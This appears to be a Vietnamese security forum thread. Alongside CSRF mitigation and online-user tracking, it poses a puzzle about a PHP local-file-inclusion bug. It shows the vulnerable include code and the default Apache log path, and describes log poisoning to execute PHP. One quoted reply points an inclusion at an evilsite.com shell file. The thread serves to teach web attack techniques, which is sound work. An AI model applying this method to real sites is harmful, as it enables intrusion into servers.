|
|
Mình phải sửa lại bài viết, có lẽ lúc nãy mình hiểu nhầm ý của bạn HYXD. Ý của bạn là khi thực hiện 1 hành động xoá, sẽ tiếp bước thứ 2 là xác nhận người dùng bằng pasword phụ ??
Nếu vậy thì nó giống với việc sử dụng captchar (mình nghĩ dùng captchar có vẻ tiện hơn vì nó random và ko cần phải khai báo pasword phụ khi đăng kí).
Thân.
|
|
|
Chào bạn,
Hi vọng bạn lưu ý trong chủ đề bàn về CSRF của anh conmale đã phân định rõ là đang bàn về CRSF chứ không nhắc đến XSS. Chính anh conmale đã nói: "Nếu nó còn dính xss nữa thì phải nói là cực kỳ nguy nan".
Về giải pháp khắc phục, giả định là bị XSS chúng ta vẫn có thể hạn chế bằng "intermediate confirmation step" như anh conmale nói. Sử dụng captchar có thể vô hiệu được CRSF (tuy có hơi phiền phức đối với 1 "hành động" hợp lệ). Nhưng dù sao thì nó có vẽ vẫn đơn giản hơn là giải pháp bạn đưa ra.
Nếu sử dụng cách của bạn (nghe có vẻ giống chức năng ẩn bài viết của HVA quá):
1/ Sẽ tạo ra 1 cái gọi là "xác thực 2 lần" cho 1 "hành động" (bất kể là nó hợp lệ hay không hợp lệ) như thế theo mình vừa phiền phức, vừa có thể tốn tài nguyên (nếu bạn quên "xác thực" lần 2 thì nó vẫn nằm đó trên DB của bạn - đối với 1 "hành động" hợp lệ)
2/ Làm cho web application trở nên cồng kềnh, nhiều thao tác trên DB. Và không có gì đảm bảo cái "xác thực" lần 2 ấy không có vấn đề.
Vài ý kiến.
Thân.
|
|
|
To thiendt:
Bạn nên tìm trên diễn đàn trước khi đặt câu hỏi và cũng nên học cách đặt câu hỏi.
Đây là 1 chủ đề "thảo luận" chứ không phải là 1 chủ đề "hỏi đáp". Các vấn đề "hỏi đáp" không liên quan đến chủ đề xin bạn vui lòng tạo 1 chủ đề mới.
Chú ý không gửi liên tục các bài có nội dung giống nhau.
Thân.
|
|
|
Đã PM.
Thân.
|
|
|
Cám ơn mọi người đã thảo luận. Chắc mọi người đã có lời giải cho vấn đề rùi phải ko ạh : mrgreen :
Gửi HTTP request giả chứa code PHP đến server -> Apache ghi log vào file -> local include cái file log của Apache. Vậy là ta có thể chạy dc code PHP.
@anh gamma: cách exploit khôn hơn em vẫn chưa nghĩ ra. Hì hì..
P/S: bài post về vấn đề này, QVT sẽ ko post ở đây (vì nó gần giống với nội dung mà anh gamma95 đưa lên) mà sẽ dc post vào Box thích hợp.
Thân.
|
|
|
Em gợi ý hết mức rồi đó ..
Lời giải đã được đưa ra hết rùi đó ạh, chỉ còn ghép lại thui..
|
|
|
Bạn có thể sử dụng cách này:
Đặt "1 thời gian nhất định (1)", nếu sau khoảng thời gian ấy mà client ko có bất cứ request nào tới server thì bạn hủy session của client và lọai khỏi danh sách đang online.
Bạn thử làm như sau:
- tạo 1 column "lastaction" ghi thời gian request cuối cùng của client gửi đến server.
- tạo 1 script trong site của bạn (sao cho mỗi khi client load bất cứ trang nào thì script ấy cũng chạy). Script có nhiệm vụ ghi "thời gian hiện tại (2)" vào column "lastaction" (nếu user đã login). Đồng thời xóa đi những client có "lastaction" có thời gian bằng hoặc nhỏ hơn "thời gian hiện tại (2) - thời gian nhất định (1)".
Sử dụng cách này có 1 điểm dở là luôn luôn có 1 user đang oline ..
Nếu dùng *nix, có thể dùng cronjob để thực hiện việc này..
Thân..
|
|
|
Dzạ, "cài đặt mặc định".
Ghi chú thêm, với vd trên:
/home/hostings/webs/victim.net/htdocs/ <== là "webroot"
Và theo mặc định, log dir là:
/home/hostings/webs/victim.net/logs/
|
|
|
... Thêm 1 gợi ý nữa nhe..
Có liên quan tới log..
|
|
|
Ghi chú:
Code lỗi inclusion dạng:
Code:
<?php
…
include(“/home/hostings/webs/victim.net/htdocs/web/”.$_GET[‘html’]);
…
?>
@ anh conmale:
Dạ, Apache 1.x trở đi, ở đây cho là Apache 2 lun . Ở phần điều kiện em có ghi là "cài đặt mặc định" tức "không kiểm soát dữ liệu trên HTTP header abc nào đó" lun đó anh ) ..
|
|
|
@ anh pnco: Chính xác. Tiếp tục đi anh . Khai thác thế nào nữa đây ạh..
(P/S: tới giờ mới biết cái này kêu là "HTTP Request Smuggling". Hì hì )..)
|
|
|
nora wrote:
site.com/?html=http://evilsite.com/shell.txt
Đề bài ở đây là "local inclusion" nora ơi ) ..
|
|
|
Thêm 1 gợi ý nhe: liên quan đến HTTP Header .
P/S: mún đí VNSECON wá mà ko đi dc ..
|
|
|
.. hình như ko anh nào hứng thú với chủ đề này .. View count hơn 80 rồi mà chẳng dc mấy người tham gia ..
|
|
|
@ nohat:
1/ ko sai
2/ anh đọc kĩ "Điều kiện hiện tại"
@ gamma: anh bít rõ trò này rùi mà còn đòi tham gia á ..
|
|
|
Dạ, ở đây mình cho ví dụ là trên *nix (vì trường hợp em gặp là *nix:-P) )..
|
|
|
Ở đây, QVT có 1 ví dụ.
Chúng ta có 1 web app dính bug local inclusion.
Code ví dụ cùa web app đó:
Code:
<?php
…
include(“/home/hostings/webs/victim.net/htdocs/web/”.$_GET[‘html’]);
…
?>
Điều kiện hiện tại: website sử dụng Apache (cứ cho là) cài đặt mặc định (tức ko thay đổi các thiết lập về đường dẫn, config file, log file.v.v.), PHP4, Safemode OFF và attacker không được phép đưa bất cứ thứ gì lên website đó.
Thảo luận: Làm thế nào để "hack" website đấy.
Xin chú ý: đọc kĩ phần điều kiện, lời giải nằm trong đó.
|
|